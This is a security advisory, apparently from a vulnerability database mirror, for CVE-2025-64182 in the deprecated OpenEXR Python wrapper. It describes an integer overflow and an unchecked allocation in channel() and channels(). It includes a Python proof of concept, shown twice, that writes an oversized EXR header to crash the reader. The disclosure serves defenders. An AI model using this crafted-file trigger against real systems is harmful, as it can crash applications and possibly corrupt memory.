GHSA-VH63-9MQX-WMJR
Vulnerability from github – Published: 2026-04-06 17:51 – Updated: 2026-04-06 17:51Summary
A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).
This bug was found with ZeroPath.
Details
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.
-
In
channel():-
Width and height are derived from the header dataWindow using
int. -
typeSizeis asize_t. The buffer size is computed astypeSize * width * heightwith no bounds checks. -
The result is passed to
PyString_FromStringAndSize(NULL, size)which maps toPyBytes_FromStringAndSize. That function expectsPy_ssize_t. If the product overflows or exceedsPY_SSIZE_T_MAX, allocation fails or the value wraps. -
The return value is not checked. The code immediately calls
PyString_AsString(r)and proceeds to build aFrameBufferand callsreadPixels(miny, maxy). -
On 64 bit:
PyBytes_FromStringAndSizereturns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after whichreadPixelswritestypeSize * widthbytes per scanline forheightlines into that buffer, causing a heap overflow.
-
-
In
channels()the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting theSliceit hardcodesxSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.
PoC
# write_big_header_then_crash.py
import OpenEXR, Imath
# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1 # 1073741822
# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1) # pixels
HEIGHT = 64 # small height keeps the file tiny
# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))
# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
# Try common names, else fallback to numeric 0
C = Imath.Compression
for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
if hasattr(C, name):
return Imath.Compression(getattr(C, name))
return Imath.Compression(0)
hdr = {
"dataWindow": dw,
"displayWindow": dw,
"channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
"compression": no_compression(),
"lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}
# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()
# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6 python3 poc.py
Impact
Typical memory stuff.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64182"
],
"database_specific": {
"cwe_ids": [
"CWE-120"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T17:51:19Z",
"nvd_published_at": "2025-11-10T22:15:37Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n- In `channel()`:\n\n - Width and height are derived from the header dataWindow using `int`.\n\n - `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n - The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n - The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n - On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n- In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 \u003c\u003c 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1 # 1073741822\n\n# Choose a scanline width that keeps row-bytes \u003c 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1) # pixels\nHEIGHT = 64 # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n # Try common names, else fallback to numeric 0\n C = Imath.Compression\n for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n if hasattr(C, name):\n return Imath.Compression(getattr(C, name))\n return Imath.Compression(0)\n\nhdr = {\n \"dataWindow\": dw,\n \"displayWindow\": dw,\n \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n \"compression\": no_compression(),\n \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6 python3 poc.py\n```\n\n### Impact\nTypical memory stuff.",
"id": "GHSA-vh63-9mqx-wmjr",
"modified": "2026-04-06T17:51:19Z",
"published": "2026-04-06T17:51:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64182"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "OpenEXR has buffer overflow in PyOpenEXR_old\u0027s channels() and channel()"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.